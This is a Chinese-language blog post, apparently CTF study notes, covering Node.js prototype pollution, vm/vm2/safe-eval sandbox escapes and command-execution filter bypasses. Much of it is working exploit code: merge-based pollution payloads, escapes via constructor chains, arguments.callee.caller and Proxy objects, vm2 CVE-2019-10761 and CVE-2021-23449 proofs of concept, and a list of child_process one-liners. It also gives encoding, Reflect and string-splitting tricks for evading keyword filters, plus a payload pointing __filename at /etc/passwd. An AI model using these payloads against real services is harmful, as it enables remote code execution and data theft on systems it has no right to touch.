node.js 原型链污染与沙箱逃逸总结

node.js

一、node.js原型链污染

1.漏洞原理

在node.js类中,有两个隐藏属性:prototype__proto__:其中prototype就是类的原型,也就是说这个类会自动拥有prototype中的属性和方法,而不需要定义在类中。__proto__则提供了一个属性(foo.__proto__)来访问类的原型

于是我们就可以得到:

foo.__proto__ === Foo.prototype

prototype和类的继承有什么关系呢?

如果我们将一个类的prototype属性赋值为另一个对象,那么当前的类就会自动获得这个对象的所有属性和方法,这样来看,这个对象就相当于这个类的父类,换句话来说:prototype实现了node.js中类的继承。

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

为了实现子类可以重写父类的属性和方法,在调用子类的属性和方法时,首先会在子类定义的类和方法中寻找,如果没有就会去son.__proto__中寻找,如果还是没有,就会去son.__proto__.__proto__中寻找,直到找到null,也就是基类Object.__proto__

什么是原型链污染?

根据javascript中的继承机制,如果我们可以修改父类中的某个属性,然后在子类中调用这个属性,得到的值也就是被修改后的值。

要怎样修改原型链中的属性呢?

通常来说,需要对对象的属性进行合并(merge)或者克隆(clone)的操作

merge

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

这个函数实际上是将source中的全部属性递归的赋值给了target,如果target的原型链就是0bject的话,那么就算再创建新的对象,他的原型链也是被污染过的。

看这个代码target[key] = source[key],将target中的key的值赋值给source中相同键,如果key为__proto__那么理论上就可以对原型链的属性进行赋值。

但是还会有一个问题:就是如果我们直接这样赋值

let o2 = {a: 1, "__proto__": {b: 2}}
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

实际上__proto__会被直接解析为原型,而不是一个键名,会导致污染失败。

为了解决这个问题,我们需要使用json格式的数据

let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这样我们就可以实现最基础的原型链污染

2.做题思路

  • 首先找到可以实现原型链污染的函数(merge、clone)
  • 找函数的调用点
  • 分析如何控制参数
  • 分析污染什么属性
  • 构造poc

3.基础利用

一般来说利用点通常如下

merge(tmp_user, req.body)

req.body就是我们要传的json数据

二、node.js沙箱逃逸

1.漏洞原理

node.js有一个内置的vm模块来构建沙箱环境,node.js沙箱本质上是创建了一个context,他和程序执行时的环境隔离开来,使在vm中的代码不会调用到外部的变量和函数,并且还限制了某些模块的导入和执行。

如果直接在沙箱环境中执行命令就会报错

const vm = require('vm');
vm.createContext(context);
const code = 'require(\'child_process\').exec("calc")';

vm.runInContext(code, context);

image-20241114155047050

vm逃逸

原型链逃逸

node.js沙箱报错后就会直接退出程序,这意味着在沙箱内执行了process.exit()结束了当前程序,也就是说process是外部和内部共有的一个模块,只要获取到process,就能获取到require模块,导入child_process。

const vm = require("vm");

const context = {};

code = 
    `var exec = this.constructor.constructor;
    var require = exec('return process.mainModule.constructor._load')();
    console.log(require('child_process').execSync("calc").toString());`

vm.runInNewContext(code,context);

第一行代码:this指的是外部的context对象.constructor获取到他的构造方法.constructor获取到的构造方法的构造方法,通过这个方法就可以动态的创建匿名函数并执行代码,类似exec。

第二行代码:通过全局的process来获取_load模块(require模块)

第三行代码:代码执行

顺便说一句:如果我们定义const context = {m: 1, n: {}},我们通过n也能获取到外部对象,但是m却不行,原因是:在nodejs中,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的。

arguments逃逸

对于以上情况,如果context的原型链被定义为null,那么第一种逃逸方法就失效了,这种情况下就是需要arguments逃逸

const vm = require("vm");

const context = Object.create(null);

code =
    `var exec = this.constructor.constructor;
    var require = exec('return process.mainModule.constructor._load')();
    console.log(require('child_process').execSync("calc").toString());`

vm.runInNewContext(code,context);//失败

原理:arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。 那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

poc1

const vm = require('vm');
const code = `(() => {
  const a = {}
  a.toString = function () {
    const cc = arguments.callee.caller;
    const p = (cc.constructor('return process'))();
    return p.mainModule.require('child_process').execSync('whoami').toString()
  }
  return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(code, context);
console.log(res)
console.log('Hello ' + res)

这里由于在vm外部调用了字符串输出函数,那么我们就在vm中定义toString方法,在调用的时候我们就可以获取到他的外部调用者

如果没有类似的字符串操作函数,我们也可以使用proxy来劫持属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码:

poc2

const vm = require('vm');
const script = `(() => {
  const a = new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
  })  
  return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.aaa)

还有一种思路:我们可以借助异常,把我们沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞:

poc3

vm = require('vm');
const code5 = `throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('calc').toString()
    }
  })
`;
try {
    vm.runInContext(code5, vm.createContext(Object.create(null)));
}
catch(e) {
    console.log('error happend: ' + e);
}

poc4

使用这个方法也可以进行原型链污染

throw new Proxy({}, {
	get: function(){
		const cc = arguments.callee.caller;
		cc.__proto__.__proto__.__filename = "/etc/passwd";
	}
})

vm2逃逸

vm2是一个外部库,是增强版的vm

CVE-2019-10761

该漏洞要求vm2版本<=3.6.10

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){

        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

原理:沙箱逃逸说到底就是要从沙箱外获取一个对象,然后获得这个对象的constructor属性,这条链子获取沙箱外对象的方法是 在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。

CVE-2021-23449
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

原理:import()在JavaScript中是一个语法结构,不是函数,没法通过之前对require这种函数处理相同的方法来处理它,导致实际上我们调用import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获取这个变量的属性即可绕过沙箱。

poc3

原理:劫持Symbol对象的getter并抛出异常,再在沙箱内拿到这个异常对象

Symbol = {
  get toStringTag(){
    throw f=>f.constructor("return process")()
  }
};
try{
  Buffer.from(new Map());
}catch(f){
  Symbol = {};
  f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

2.基础利用

safe-eval()逃逸

在 version <= 0.3.0 中,safe-eval 存在沙箱逃逸的漏洞:

const safeEval = require('safe-eval')
var code = `
    this.constructor.constructor('return process')()
`
var evaluated = safeEval(code)
console.log(evaluated)

3.进阶技巧

EJS原型链污染

三、node.js代码执行

1.基础利用

代码执行函数

eval()

基础代码执行(无回显)

global.process.mainModule.require('child_process').exec("calc").stdout.toString()
require('child_process').spawnSync('calc')
require("child_process").exec("calc");
require("child_process").execSync("calc");
require("child_process").execFile("/bin/bash",["whoami"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('ls', ['/']);
require("child_process").spawnSync('ls', ['/']);
require("child_process").execFileSync('ls', ['/']);

2.bypass

编码绕过

  • url编码绕过
function fullUrlEncode(str) {
    return Array.from(str).map(char => '%' + char.charCodeAt(0).toString(16).padStart(2, '0')).join('');
}

code = `global.process.mainModule.require('child_process').exec("ls /")`

exp ='Reflect.get(global,`${`ev`}al`)(decodeURIComponent(`' + fullUrlEncode(code) +'`))'
console.log(exp)
Reflect.get(global,`${`ev`}al`)(decodeURIComponent(`%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%22%6c%73%20%2f%22%29`))
  • 十六进制编码(全编码通过web页面传过去貌似会出问题)
function stringToHex(str) {
    return Array.from(str).map(char => '\\x' + char.charCodeAt(0).toString(16).padStart(2, '0')).join('');
}

const originalCode = 'require("child_process").execSync("calc");';
const hexCode = stringToHex(originalCode);

console.log(hexCode);
\x72\x65\x71\x75\x69\x72\x65\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x61\x6c\x63\x22\x29\x3b
  • unicode编码
function stringToUnicode(str) {
    return Array.from(str).map(char => {
        return '\\u' + char.charCodeAt(0).toString(16).padStart(4, '0');
    }).join('');
}

const originalCode = 'require("child_process").execSync("calc");';
const unicodeCode = stringToUnicode(originalCode);

console.log(unicodeCode);
\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0022\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0022\u0029\u002e\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b
  • base64编码
global.process.mainModule.constructor._load("child_process").execSync("ls /")

Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJscyAvIik=
Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjYWxjIik=','base64').toString()

其他模块绕过

Obejct.keys

Object.values(require('child_process'))[5]('calc')

Reflect

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("calc")')
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))('global.process.mainModule.constructor._load("child_process").execSync("calc")')

拼接绕过

require('child_process')['exe'%2b'cSync']('calc')
require('child_process')[`${`${`exe`}cSync`}`]('calc')
require("child_process")["exe".concat("cSync")]("calc")
posted @ 2025-04-13 16:58  Litsasuk  阅读(238)  评论(0)    收藏  举报